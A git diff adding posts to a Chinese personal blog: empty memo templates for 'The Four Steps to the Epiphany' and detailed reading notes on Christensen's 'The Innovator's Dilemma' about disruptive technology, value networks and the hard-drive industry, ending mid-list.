+记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-526-TheFourStepstotheEpiphany1-2D.md b/_posts/2021-02-21-526-TheFourStepstotheEpiphany1-2D.md new file mode 100644 index 0000000..70b2f89 --- /dev/null +++ b/_posts/2021-02-21-526-TheFourStepstotheEpiphany1-2D.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 2-D 收集市场信息 +pid: 526 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-527-TheFourStepstotheEpiphany1-3A.md b/_posts/2021-02-21-527-TheFourStepstotheEpiphany1-3A.md new file mode 100644 index 0000000..ff8d3aa --- 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+1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 1-A 提出价值主张 +pid: 532 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-533-TheFourStepstotheEpiphany2-1B.md b/_posts/2021-02-21-533-TheFourStepstotheEpiphany2-1B.md new file mode 100644 index 0000000..45589b3 --- /dev/null +++ b/_posts/2021-02-21-533-TheFourStepstotheEpiphany2-1B.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 1-B 准备销售材料 +pid: 533 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-534-TheFourStepstotheEpiphany2-1C.md b/_posts/2021-02-21-534-TheFourStepstotheEpiphany2-1C.md new file mode 100644 index 0000000..da194fe --- /dev/null +++ b/_posts/2021-02-21-534-TheFourStepstotheEpiphany2-1C.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 1-C 制定渠道策略 +pid: 534 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-535-TheFourStepstotheEpiphany2-1D.md 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正式组建产品顾问委员会 +pid: 537 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-538-TheFourStepstotheEpiphany2-2A.md b/_posts/2021-02-21-538-TheFourStepstotheEpiphany2-2A.md new file mode 100644 index 0000000..8f60cb9 --- /dev/null +++ b/_posts/2021-02-21-538-TheFourStepstotheEpiphany2-2A.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 2-A 物色天使客户 +pid: 538 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-539-TheFourStepstotheEpiphany2-2B.md b/_posts/2021-02-21-539-TheFourStepstotheEpiphany2-2B.md new file mode 100644 index 0000000..923e7b4 --- /dev/null +++ b/_posts/2021-02-21-539-TheFourStepstotheEpiphany2-2B.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 2-B 检验销售路线图 +pid: 539 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-540-TheFourStepstotheEpiphany2-2C.md b/_posts/2021-02-21-540-TheFourStepstotheEpiphany2-2C.md new file mode 100644 index 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a/_posts/2021-02-21-543-TheFourStepstotheEpiphany2-3C.md b/_posts/2021-02-21-543-TheFourStepstotheEpiphany2-3C.md new file mode 100644 index 0000000..aacc77a --- /dev/null +++ b/_posts/2021-02-21-543-TheFourStepstotheEpiphany2-3C.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 3-C 向行业分析师和有影响力的人展示产品 +pid: 543 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-544-TheFourStepstotheEpiphany2-4A.md b/_posts/2021-02-21-544-TheFourStepstotheEpiphany2-4A.md new file mode 100644 index 0000000..5fc6d2b --- /dev/null +++ b/_posts/2021-02-21-544-TheFourStepstotheEpiphany2-4A.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户检验备忘录 4-A 阶段小结 +pid: 544 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-25-545-tid.md b/_posts/2021-02-25-545-tid.md new file mode 100644 index 0000000..6d1fafe --- /dev/null +++ b/_posts/2021-02-25-545-tid.md @@ -0,0 +1,621 @@ +--- +layout: post +title: 创新者的窘境 +pid: 545 +tags: [产品经理, 创业] + +--- + + + +## 一本让我读来能“毛骨悚然”的书，颠覆了以前很多的认知： + +1. 创新在我们看来更多的是运气和偶然，但实际上却是有正确的方法论 +2. 我们中国人的文化习惯把问题混沌化，比如把创新能力归结到性格、激情、甚至星座这些摸不着的东西；但西方人永远本着科学的态度来观察和分析问题。这种方法才具有普及的意义，否则我们只能把一切都归结给天命了 +3. 对电动汽车的预测，我个人感觉是惊为天人，居然那么准确和深刻。从如何寻找市场、用户价值、销售渠道都有非常深刻的洞见（当然也由于历史的局限，作者也受到电动汽车的特性“起步慢”的误导） + + + +## 阅读指南 + +在《创新者的窘境》一书中，克莱顿·克里斯坦森教授提出了这样一个问题：为什么管理良好的企业会遭遇失败？他的结论是，这些管理良好的企业之所以经常遭遇失败，是因为推动它们发展为行业龙头企业的管理方法，同时也严重阻碍了它们发展破坏性技术，而这些破坏性技术则最终吞噬了它们的市场。 + +管理良好的企业都善于发展延续性技术，也就是说善于以客户所认可的方式来提高产品的性能。这是因为，他们的管理方法都基于以下几点： + +- 听取客户的意见； +- 大力投资客户表示希望得到进一步改善的技术； +- 争取更高的利润率； +- 以更大的市场——而不是更小的市场——为目标。 + +但破坏性技术与延续性技术存在显著的差别，破坏性技术改变了市场的价值主张。就主流客户所关心的产品属性来说，当破坏性技术刚开始出现时，它几乎总是提供更低的产品性能。例如，在硬盘行业中，破坏性技术所提供的容量总是低于原有的技术所提供的容量。但破坏性技术拥有某些边缘客户（通常也是新客户）所看重的其他属性，例如，这类产品一般价格更低、体积更小、结构更简单，而且经常是更加便于使用。因此，破坏性技术打开了新市场。此外，由于积累了相关经验并得到了足够的投资，破坏性技术的开发者总是能够提高其产品的性能，并最终能够占领原来的市场。这是因为，它们不但能够在原有属性的基础上提供完善的性能，还能增加一些新性能。 + +《创新者的窘境》一书阐述了破坏性技术取代原有技术的过程，以及管理良好的企业内部所蕴含的强大力量是如何阻碍它们开发破坏性技术的。克里斯坦森教授构建了一个包含四项破坏性技术原则的框架，并以此来解释为什么在开发成熟技术时最为有效的管理方法，反而会阻碍对破坏性技术的开发。最后，他提出，管理者可利用这些原则，使他们所在的企业能够更加有效地开发代表未来市场发展趋势的新技术。 + + + +**破坏性技术原则** + +**1.企业的资源分布取决于客户和投资者** + +为了生存，企业必须向客户和投资者提供产品、服务，以及他们所要求的利润，因此，绩效最好的企业都建立了扼杀没有得到客户认可的理念的成熟体系。正因为如此，这些企业发现，它们很难投入足够的资源来开发破坏性技术（即它们的客户并不想要的低利润率机遇），直到它们发现其最终得到客户的认可时，一切已为时已晚。 + +**2.小市场并不能解决大企业的增长** + +需求为了维持股价，并为员工创造内部晋升机遇，成功的企业需要不断地发展。这并不一定要提高增长率，但必须维持它们的发展速度。随着企业日益发展壮大，需要实现越来越多的新增收入来维持之前的增长率。因此，这些企业在试图进入更新、更小，但日后注定将发展壮大的市场时，会遇到越来越大的困难。为了保持增长率，这些企业必须专注于大市场。 + +**3.无法对并不存在的市场进行分析** + +翔实的市场研究数据和良好的规划，以及之后的按计划执行的流程，构成了良好管理的基本特征。但对于那些在进入市场之前，需要得到已经量化的市场规模和财务收益数据才能做出投资决策的企业来说，它们通常会在面对破坏性技术时变得束手无策，因为它们要求获得数据的市场实际并不存在。 + +**4.技术供给可能并不等同于市场需求** + +尽管最初只能应用于小型市场，但破坏性技术最终将在主流市场占据一席之地。这是因为技术进步的步伐经常超出主流客户所要求的，或者能够消化的性能改善幅度。因此，当前主流市场上的产品最终将过度满足主流市场对产品功能性的实际需求。虽然破坏性技术当前的性能表现相对滞后于主流市场的客户的预期，但它们可能会在日后变得极具竞争力。一旦出现两种或两种以上产品能够满足市场对性能的需求，客户将参照其他标准来选择商品。这些标准会逐渐偏向于可靠性、便捷性和价格，而所有这些都是新兴技术通常占有优势的领域。 + +管理者在应对破坏性技术时通常会犯的一个大错误就是——试图违背或忽视破坏性技术原则。克里斯坦森教授表示，在面对破坏性技术创新时，采用能够成功应对延续性技术变革的传统管理方法，这将导致企业遭遇失败。他说，通往成功的更加有效的途径通常是去理解适用于破坏性技术的自然法则，并利用这些法则来创造新市场，开发新产品。只有了解并遵守破坏性技术的发展规律，管理人员才能成功地抓住破坏性技术所带来的机遇。 + +具体而言，他建议面临破坏性技术的管理人员： + +1. 将发展破坏性技术的职责交给确实存在客户需求的机构，以便确保资源能够流向这些机构； +2. 设立一个能够欣然接受较小收益的独立的小型机构； +3. 为失败做好准备。不要在第一次就用尽所有的资源，因为你不可能在第一次尝试中就抓住正确的市场方向。在对破坏性技术进行商业化开发时，将最初的种种努力看作是学习机会，在获得相关数据后做出调整； +4. 不要寄希望于技术突破。尽早开始行动，为破坏性技术的当前属性寻找市场，你将在当前主流市场以外的地方找到它的市场。而且，你还将发现，对主流市场不具吸引力的破坏性技术属性正是建立新兴市场时所依赖的属性。 + +**需要讨论的问题** + +（1）破坏性技术的特点是： + +- 更简单、价格更便宜，而且性能更低。 +- 利润率通常更低，也不会实现更高的利润。 +- 领先企业中能带来最大利润的客户通常不会使用，也不接受。 +- 首先在新兴市场或是不重要的市场投入商业化运作。 + +《创新者的窘境》一书探讨了发生在硬盘、挖掘机、钢铁和汽车行业的破坏性创新。回顾历史，你能找到一些最终取代了原有产品和产业的破坏性技术吗？你能想到目前正在出现的其他一些，甚至是可能会威胁到你所在行业的破坏性技术吗？ + +（2）所有的市场都存在这样一个趋势，即企业都希望生产出价格更高、更复杂的产品来进入更高端的市场。为什么企业很难进入产品更加简单、价格更加便宜的市场呢？你能想到有哪些企业因为提升了市场定位而遭遇破产的命运吗？它们要做些什么才能避免这种情况的发生呢？ + +（3）企业进入更高端市场的这一趋势可能会给成熟企业带来致命的影响，但同时也可能是新兴市场最终发展为主流市场的一个重要原因。除本书所提到的案例外，你能想到有哪些企业因为提升了市场定位而获得了成功吗？ + +（4）在将破坏性技术投入商业化运行的过程中，为什么说很重要的一点就是在开始投资时假设你的预期是错误的？除本书提到的摩托车、挖掘机和硬盘等实例外，你还能想到其他实例来证明这一点吗（即在对产品进行市场营销的过程中，最终出现的大市场往往与企业最开始开展营销的应用领域完全不同）？ + +（5）破坏性技术的一个基本特征就是，在主流客户最看重的属性方面，破坏性技术最初的表现不如成熟技术。因此，要想成功地对破坏性技术进行商业化推广的企业必须寻找不同的客户群体，也就是最看重新技术的属性的客户。根据新技术出现时被主流市场忽略的技术属性或特性，你能想到当前正在兴起的一些市场吗？哪些原来的主流产品或企业将受到威胁？ + +（6）当两种或两种以上的产品达到了对这类产品功能性的最低要求时，客户将开始寻找其他决定性因素。根据本书援引的温德米尔联合公司的一项研究，演变的过程通常是从功能性发展到可靠性，然后再发展到便捷性，最后发展到价格。当前有哪些市场已经沿着这一发展轨道完成了一步，或者多步演变步骤？ + +（7）大多数人都认为，是企业高管做出了有关企业发展方向和资源投资方式的重要决策，但真正的权力实际掌握在企业内部那些有权决定向高层提交哪些提案的中层管理人员手中。是哪些企业因素导致中层员工忽略或扼杀破坏性技术？管理良好的企业是否应该改变这些方法和政策？ + +（8）是哪些个人职业发展方面的考虑导致大企业有抱负的员工忽略或扼杀破坏性技术？管理良好的企业是否应该改变导致员工滋生这种思维方式的政策？ + +（9）本书的发现表明未来企业应如何构建组织结构？根据职能来创建组织结构的大型企业是否应像一些管理理论学家当前所提出的那样，将组织结构重新设计为紧密联系的团队？或者，在承认不同的技术和不同的市场拥有不同的需求后，是否应该尽量建立特殊的组织结构和管理方法来应对不同的情况？这种方法是否真的切实可行？ + +（10）本书第4章曾经引用了一位硬盘企业的首席执行官所说的一句话。在解释为什么他的公司未能将已经研发成功的1.8英寸硬盘投入商业化运作时，他说：“我们已经领先于市场。”但在当时，他的公司并没有发现，一个新兴1.8英寸硬盘市场正在新用户当中出现。克里斯坦森教授认为，“破坏性技术应被看作是一个市场营销挑战，而不是一个技术挑战。”你是否认为所有的技术都能找到一个特定的市场？如果你不这么认为，那么作为一名管理人员，你将如何做出搁置某些技术、大力发展某些技术的决定？ + +（11）同样，克里斯坦森教授提出，企业不应坐等新技术突破（将提高这项技术的性能）的出现。相反，企业需要主动出击，寻找那些发现了这些技术属性的价值（其他人则认为这些属性是种缺陷）的客户。作为一名管理人员，你将怎样决定某项技术或理念何时需要进一步开发，何时是将其大量投入市场的时机？ + +（12）《创新者的窘境》一书的关键主题就是，推动企业成为主流市场领先企业的管理方法，同时也是导致它们错过破坏性技术所带来的发展机遇的管理方法。换言之，管理良好的企业之所以失败正是因为它们管理良好。你是否认为“良好的管理”的定义正在发生改变？今后，倾听客户的意见，大力投资得到客户认可的产品的生产，认真进行市场分析是否将变成“不当的管理”？什么样的体系可以综合两者的精华？ + +## 引言 + +为什么那些管理良好，锐意提高竞争力，认知倾听客户意见，积极投资新技术研发，却仍然丧失了市场主导地位？ + +西尔斯在几十年间被认为是世界上管理最为灵活的企业，在它的黄金时期，西尔斯的销售额占全美零售总额的2%以上。 + +该公司推出了很多创新，比如：供应链管理、店铺品牌、目录零售和信用卡销售。 + +但西尔斯却忽视了折扣零售和家居中心的出现，但正是西尔斯公司受到潮水般赞誉的时期，恰好是它忽略了折扣零售和家居中心这些新型知名耐用品市场营销模式正在悄然崛起。正是这些成本更低的营销模式，最终使西尔斯丧失了核心地位。 + +IBM主导了大型计算机市场，但却长时间忽略了在技术上更为简单的微型计算器市场。 + +数字设备公司创建了微型计算机市场，此后通用数据公司、Prime公司、王安电脑公司、惠普公司、利多富公司也纷纷加入其中。但这些企业随后又错过了台式个人电脑市场。 + +将个人电脑市场的机会留给了苹果、Commodore公司、Tandy公司和IBM公司。 + +但在便携式计算机市场，苹果公司和IBM公司却比行业领先企业落后了整整5年。 + +这些所有失败的企业都具有共同点，那就是导致企业失败的决策，恰好是在领先企业被广泛誉为世界上最好的企业时做出的。 + +这些遭遇失败的企业的管理已经做到了极致，但它们在大获成功之后做出决策的方式，却最终埋下了它们日后失败的种子。 + +良好的管理正是导致领先企业马失前蹄的主因。准确的说，因为这些企业倾听了客户的意见，积极投资了新技术的研发，以期向客户提供更多更好的产品；因为它们认真研究了市场趋势，并将投资资本系统地分配给了能够带来最佳收益率的创新领域，最终，它们都丧失了其市场领先地位。 + +**为什么良好的管理可能会导致失败** + +在我所说的“延续性技术”和“破坏性技术”之间，存在着重大的战略性差异。 + +技术的进步会经常超出市场的实际需求。 + +相比某些类型的新兴企业，成熟企业的客户和财务结构更加偏重于投资看上去对他们具有吸引力的项目。 + +**延续性技术与破坏性技术** + +大多数新技术都会推动产品性能的改善，这些技术称为“延续性技术”。 + +所有延续性技术所具有的特点就是，它们都是根据主要市场的主流客户一直以来所看重的性能层面，来提高成熟产品的性能。 + +**但有时破坏性技术的出现——至少在短期内，会导致产品性能降低。**具有讽刺意味的是，本书研究的案例中，都是破坏性技术导致了领先企业的失败。 + +破坏性技术给市场带来了与以往截然不同的价值主张。一般来说，破坏性技术产品的性能要低于主流市场的成熟产品，但它们拥有一些边缘客户（通常也是新客户）所看重的其他特性。 + +基于破坏性技术的产品通常价格更低、性能更简单、体积更小，通常更便于客户使用。 + +相对于哈雷-戴维森公司和宝马公司制造的大马力公路摩托车，本田公司、川崎公司和雅马哈公司在北美和欧洲推出的小型越野摩托车算得上一种破坏性技术；晶体管相对于真空管是一种破坏性技术；保健机构相对于传统的医疗保险商也是一种破坏性技术。 + +互联网产品（谷歌、阿里、腾讯）相对于个人电脑的硬件和软件供应商（IBM、微软），也是一种破坏性技术。 + +**市场需求轨道与技术改善轨道** + +在开发比竞争对手更好的产品，以实现更高的售价和更大的利润率的过程中，供应商通常会“过度满足”市场的需求。 + +**破坏性技术与合理的投资** + +投资破坏性技术对于成熟企业来说，并不是一个合理的财务决策。 + +破坏性产品功能更简单、价格更便宜，这些产品的利润率通常较低，也不会带来更大的利润；其次，破坏性技术通常在新兴市场或不太重要的市场首先进行商业化运作；其次，能给领先企业带来最大利润的客户一般并不需要，而且确实在开始阶段也无法使用基于破坏性技术的产品。一般来说，破坏性技术首先会得到市场上不能给企业带来利润的那部分客户的认可。因此，大多数已经习惯于听取最优质顾客的意见，判断哪些新产品能带来更大利润率的企业，很少能及时投资研发破坏性技术。 + +**利用破坏性创新原则** + +**原则一：企业的资源分布取决于客户和投资者** + +因为投资模式无法达到客户和投资者的要求的企业将难以为继。 + +企业管理者设立一个独立的机构，专门面向破坏性技术独立开展新业务。这种机构不受主流成熟企业客户的力量所制约，能够自由地接触不同类型的客户群体，即那些认可破坏性技术产品的顾客。 + +**原则二：小市场并不能解决大企业的增长需求** + +**原则三：无法对并不存在的市场进行分析** + +面对破坏性创新时，先进入市场的企业可以建立起巨大的先发优势。这就是创新者的窘境。 + +**原则四：机构的能力决定了它的局限性** + +一个机构的能力主要表现在两个方面：一方面是它的流程，也就是人们将劳动力、资源、原材料、信息、现金和技术投入转化为更高价值的产出的方法；另一方面体现在机构的价值观层面，这些价值观正是机构管理人员和普通员工在做出优先决策时遵循的原则。 + +而流程与价值观相对是固定的，无法使用破坏性创新的出现。 + +**原则五：技术供应可能并不等同于市场需求** + +很多时候产品技术进步的步伐，会超过主流客户要求或者能够消化的性能改善幅度。 + +选择产品的阶段：功能性-可靠性-便捷性-价格。 + +产品性能过度满足市场需求，是推动产品生命周期发生转变的主要机制。 + +## 第一部分 为什么大企业会失败 + +那些研究遗传学的人会尽量避免研究人类，因为人类需要30年左右才能繁衍出下一代，因此需要很长的时间才能了解任何变化的前因后果。但是果蝇朝生暮死，在一天的时间内便完成了从受孕、出生到成熟和死亡的全过程。 + +如果你希望了解某些商业现象，那就应该去研究硬盘行业。这一行业的企业是商业界最接近果蝇的类型。硬盘行业经历如此广泛、快速、残酷的技术变革和市场结构的转变，为商业研究提供了肥沃的土壤。 + +**第1章 大企业为什么会失败？从硬盘行业获得的启示** + +**技术变革的影响** + +大多数产品的制造商在发展过程中，会确立某种固定的性能改善轨道（硬盘的每MB成本，微处理器的处理速度）。当企业确定了一种可量化的改善方法轨道时，判断一种新技术是否可能提高某种产品的性能，便成为一个非常明确的问题。 + +延续性技术变革，延续了硬盘行业对产品性能的改善幅度（总容量和磁录密度是最常见的两种指标），在研发和采用这些技术方面，硬盘行业在主流企业总是处于领先地位。 + +破坏性创新，重新定义了性能改善模式，找到新的市场，这也常常导致行业领先企业走向失败。 + +**延续性技术变革** + +成熟企业不仅是研发风险大、复杂度高，且售价昂贵的组件技术的主要创新力量，而且它们还引领了硬盘行业发展史上几乎每一次延续性创新。使硬盘总容量越来越大，磁录密度越来越高。 + +硬盘行业的领先企业并不是因为变得保守、傲慢，或害怕承担风险，或是因为无法适应日新月异的技术变革而遭遇失败。 + +**在破坏性技术创新来临时遭遇失败** + +硬盘行业大多数技术创新都是延续性创新，只有少数才是破坏性创新，这是这些破坏性创新才颠覆了硬盘行业的应先企业。 + +最重要的破坏性技术是缩小了硬盘大小的结构性创新——这些技术使得硬盘的直径从14英寸先后缩小到8英寸、5.25英寸、3.5英寸、2.5英寸，然后又从2.5英寸缩小到1.8英寸。 + +比如，8英寸硬盘主要提供给成熟的微型计算机制造商。他们更看重容量、每兆字节成本和存取时间，这些也是8英寸硬盘的绝对优势。 + +5.25英寸的硬盘在当时并不能满足微型计算机制造商提出的各种需求，5.25寸硬盘体积小、重量轻，正好符合当时台式个人电脑市场的要求。 + +一般来说，破坏性创新并不涉及特别复杂的技术变革，其主要表现形式就是将成品原件组装在一起，但相比之前的产品，产品结构通常会变得更加简单。破坏性创新并不能给主流市场的客户提供更好的产品，因此这种创新发生在主流市场的可能性很小。它只有远离主流市场或对主流市场没有太大意义的新市场，客户才会重视这些产品的属性。 + +*（淘宝是典型的破坏性创新，颠覆了传统的销售方式；支付宝也是破坏性创新，改变了人们支付、存款的方式，冲击了银行、证券；菜鸟当前还不是颠覆式创新，还是延续既有的价值主张，提供更快更好的物流时效服务。如果菜鸟能够提供数字供应链，整合阿里经济体打造成熟的S2B、C2B平台，将是对传统供应链、生产、销售模式产生巨大的颠覆）* + +体积小的属性对于大型计算机用户来说几乎没有任何价值。 + +**受制于客户** + +领先企业之所以没有推出更小尺寸的硬盘，不是他们没有技术能力，实际上是受制于它们的客户——大型计算机制造商。大型计算机制造商更看重的单位存储量成本更低且容量更大。 + +领先企业也曾提出过，要开发更小尺寸的硬盘。但最终都受到市场营销部门和管理团队的反对，最终放弃了。而他们的判断是基于客户价值，也就是客户关注的特性来决定的。 + +成熟企业在应对各种类型的延续性创新时，可以做到锐意进取、积极创新、认真听取客户意见，但它们看似无法成功解决的问题，是在轨线图上的下行视野和向下游市场流动的问题。为新产品找到新的应用领域和新的市场，似乎是这些企业在刚刚进入市场时所普遍具备，但在时过境迁后又明显丧失了的一种能力。这些领先企业似乎被他们的客户牵绊住了手脚，从而在破坏性技术出现时，给了具有攻击性的新型企颠覆它们领先地位的可乘之机。 + +**第2章 价值网络和创新推动力** + +价值网络：即一种大环境，企业正是在这个大环境下确定了客户的需求，并对此采取应对措施，解决问题，征求客户的意见，应对竞争对手，并争取利润最大化。 + +在价值网络内，每一家企业的竞争策略，决定了它对新技术的经济价值的理解。 + +**从组织和管理上解释企业遭遇失败的原因** + +企业的组织结构通常能够推动组件层面的创新，以为大多数产品研发机构都是由多个负责产品元件研究的小组组成的。只要产品的基本结构不需要作出改变，这种体系的运作就非常有效。但同时，在需要对结构性技术作出改变时，这种结构体系将阻碍那些需要人员和团队以全新的方式进行交流和工作的创新。 + +企业可以通过建立组织结构和确立团队合作的方式，来推动优势产品的设计，结果可能会最终发生逆转：组织结构及其团队合作方式可能会反过来影响到企业能否设计出新产品。 + +**能力和突破式技术可能是一种解释** + +当技术变革破坏了企业以前培养的能力价值时，企业将会遭遇失败；而当新技术提升了企业一直在发展的能力价值时，它们则会取得成功。 + +**价值网络和对导致失败的各种因素的新看法** + +在成熟企业中，预期回报反过来将推动资源流向延续性创新，而不是流向破坏性创新。这种资源分配模式也解释了为什么成熟企业在延续性创新中总能保持领先地位，而在破坏性创新中却总是表现不佳这样一个问题。 + +**价值的衡量标准** + +每一个价值网络都会按照重要性的高低，对不同的产品性能属性进行排序。从某种程度上说，价值网络的界定就是由这种独特的排序方式所决定的。（大型计算机：容量、速度、可靠性；个人电脑：轻、薄、便于使用） + +每一个价值网络对于产品价值的定义都不相同，因此在同一行业内存在许多平行的价值网络。 + +随着企业在某个特定的网络内逐渐积累了经验，它们可能会形成符合该价值网络独特要求的能力、组织结构和文化。 + +**成本结构和价值网络** + +不同的价值网络是由客户通过一些特定的排序所界定的，同样，它也是由在特定成本结构基础上提供有价值的产品和服务的要求所界定的。 + +成熟企业在延续性创新中所表现出的强势和在破坏性创新中所表现出的弱势，以及新兴企业与之正好完全相反的表现，均不是由成熟企业和新兴企业之间技术或组织能力的差异所导致的，真正的原因还是它们所处行业不同的价值网络中。 + +**技术S形曲线和价值网络** + +在特定的一段时期内，由于一些工程方面的努力，产品的性能改善幅度就可能会随着技术的成熟而发生变化。 + +技术带来产品性能的提升，然后放缓；再由新技术带来一波新的提升。这就是技术S形曲线。 + +战略性技术管理的本质就是，判断当前的技术S形曲线何时将通过拐点，同时确认并发展任何自下游兴起，并将最终取代现有方法的新技术。 + +破坏性技术的出现和发展都是在一个内部价值网络内，沿着自己独特的既定轨道来进行。当它们发展到一定水平，并且足以满足另一个价值网络所要求的性能水平和特性时，破坏性技术就能以极快的速度侵入这个价值网络，并淘汰掉原有的成熟技术，以及使用这项技术的成熟企业。 + +**管理决策过程和破坏性技术变革** + +管理者只做对企业有意义的事情，而什么是有意义的事情，则由企业所处的价值网络来决定。 + +在成熟企业里，为什么延续性技术项目总是能战胜破坏性技术项目，得到更多的资源呢？看看成熟企业的决策模式。 + +**步骤1：破坏性技术首先由成熟企业研制成功** + +这个和我们的认知完全不同，都以为是由新企业研制成了破坏性技术，但实际上很多都是成熟企业研制了破坏性技术，但没有应用到合适的市场，因为破坏性技术在主流市场不受欢迎。 + +比如，计算机的图形可视化界面其实是施乐公司研制的，但却被苹果和微软拿到了另外一个市场中，发挥了巨大的作用。 + +**步骤2：市场营销人员随后收集公司主要客户的反馈** + +主要客户往往不接受破坏性技术或产品，以为它们不完善，主要特性不符合主流客户的要求。 + +然后市场营销人员会否定破坏性技术，然后推动管理层也否定破坏性技术。 + +有时候即使管理者同意利用企业的各种资源来开发具有市场破坏性的产品，但在做出如何实际分配时间和资金的日常决策过程中，工程师和营销人员会以确保企业的最大利益为出发点，他们自觉或不自觉地剥夺了及时启动破坏性创新项目所必须的各种资源。 + +**步骤3：成熟企业加快对延续性技术的开发步伐** + +为了满足当前客户的需求，企业会加大对延续性技术的投入，因为这意味着更多的销售额和利润。而且相对于投资破坏性技术的风险要小得多，因为客户是现成的，客户需求也是已知的。 + +而且成熟企业会更关注成熟企业之间的竞争，因为如果失败将意味着失去领先地位，所以往往会忽视对新兴企业从低端市场发起的攻击做好防御。 + +**步骤4：新企业已经出现，破坏性技术市场在反复尝试中逐渐成形** + +使用破坏性技术的新企业难以吸引成熟的客户，不得不去寻找新客户。就是在没有明确的市场营销战略的情况下推出其产品的——实际上就是单纯地卖给任何愿意购买其产品的人。在不断的反复尝试中，这些产品的主要市场应用领域终于出现了。 + +**步骤5：新兴企业向高端市场转移** + +成熟企业对低端市场和新兴企业对高端市场的看法并不对称。成熟企业在审视新出现的，结构更简单的硬盘市场时，会认为这些市场的利润率和市场规模都不具有吸引力；与之相反，新兴企业则认为，更加高端的高性能市场的潜在销售额和利润率极具吸引力。成熟市场的客户最终接受了他们曾经拒绝过的新产品。 + +*破坏性创新并不一定是从低端市场发起，特斯拉相对是从高端市场发起，然后逐步完善后再进入成熟、庞大的低端市场。* + +**步骤6：成熟企业在维护客户基础方面棋慢一招** + +当成熟企业意识到破坏性创新的出现时，一些成熟的企业还能够亡羊补牢，通过立即推出新产品来维护自己的市场地位，但它们发现，新兴企业已经在制造成本和实际经验上建立了不可逾越的优势，因为大部分成熟企业最终被淘汰出局。 + +从价值网络的下方（*确实很难从价值网的上方进行攻击？*）发起攻击的新兴企业，也带来了一种可以以较低的毛利率实现盈利的成本结构。因此攻击型企业能够以较低的产品价格实现赢利，而处于防守地位的成熟企业则要经受一场残酷的价格战。 + +“密切关注你的客户”这句流行口号似乎并不总是一个经得起推敲的建议。相反，人们可能会认为，是客户引导了其供应商的延续性创新进程，但这句话在破坏性技术变革中并没有发挥引领作用——或者甚至是明显误导了供应商。 + +**第4章 回不去的低端市场** + +为什么领先企业总是能够很快进入高端市场，而进入低端市场却如此艰难？正如我们即将分析的那样，理性的管理者很少能找到充分的理由进入规模小、需求不明确，而且利润率更低的低端市场。 + +价值网络内总是存在一股力量，推动企业向上发展，进入区别于先前的新价值网络。价值网络的这种异常强大的影响力，体现在阻碍企业向低端市场移动。 + +在优秀企业，凝聚人力物力的总是那些计划提高产品性能，迈向高端市场，并且能给企业带来更高利润率的提案。（阿里推出的天猫，滴滴的专车） + +*企业的发展流量往往都是寻找利润更高的或者规模更大的市场，对于创新企业，一定要找小众或者利润率低的市场切入。* + +**价值网络的典型的成本结构** + +这种非对称的流动，产生的主要原因是，这种流动是由资源分配过程推动的，资源分配过程总是推动资源流量能够带来更**高利润率和进入更大规模市场**的新产品提案。 + +每个价值网络的一个基本特征都是，价值网络内的企业如果想要优先为客户提供他们所需要的产品和服务，就必须创建一种特定的成本结构。*（所以拼多多的模式，就打造了一种新的成本结构，通过微信裂变流量获取极地，因为商家的获客成本远远低于阿里）* + +进入高端市场，生产能够获得更高毛利率的产品，这通常是增加利润的一种更为直接的方式。进入低端市场则与上述目标背道而驰。 + +随着企业蜕去破坏性的特征，并在更高一级的市场追求更大的利润时，它们在逐渐形成了参与更高市场竞争所需的成本结构。而这也加大了它们向下流动的难度。 + +成熟企业并不仅仅受到客户需求的制约，还受到它们参与竞争的价值网络所固有的财务结构和企业文化的制约——这个制约因素能够甄没任何及时投资下一轮破坏性技术浪潮的理性声音。 + +## 第二部分 管理破坏性技术变革 + +管理破坏性技术变革的原则有哪些呢？ + +1、资源依赖性：在经营状况良好的企业，客户有效地控制了资源分配模式； + +2、小市场并不能解决大企业的增长需求； + +3、破坏性技术的最终用户或应用领域是无法预知的。失败是通往成功的必经之路； + +4、一个机构的能力独立于机构内部工作人员的能力而存在。一个机构的能力体现在其流程和价值观中，而且正是构成当前业务模式核心能力的流程和价值观，决定了它们无力应对市场的破坏性变化； + +5、技术供应可能并不等同于市场需求。导致破坏性技术在成熟市场不具吸引力的特性，往往就是构成破坏性技术在新兴市场上的最大价值的特性。 + +那么成功的企业是如何利用这些原则来建立它们的竞争优势呢？ + +\1. 它们在某个机构内设立项目来开发和推广破坏性技术，这个机构所拥有的客户群正好需要这种技术。当管理者为破坏性创新找到“适宜的”客户时，客户的需求就能提高企业的赢利能力，这样创新也能得到所需要的资源。 + +\2. 它们在小型机构内设立项目来开发破坏性技术，而且这些机构的规模足够小，很容易满足于小机遇和小收益。 + +\3. 它们在为破坏性技术寻找市场的过程中，会利用一些节省成本的方式来降低失败。它们的市场通常都会在不断的尝试、学习和再尝试过程中得以成形。 + +\4. 它们会利用主流机构的一些资源来应对破坏性变革，但它们会对主流机构的流程和价值观避而远之。在价值观与成本结构主要针对当前破坏性变革的机构中，它们建立了一套不同的企业运作方式。 + +\5. 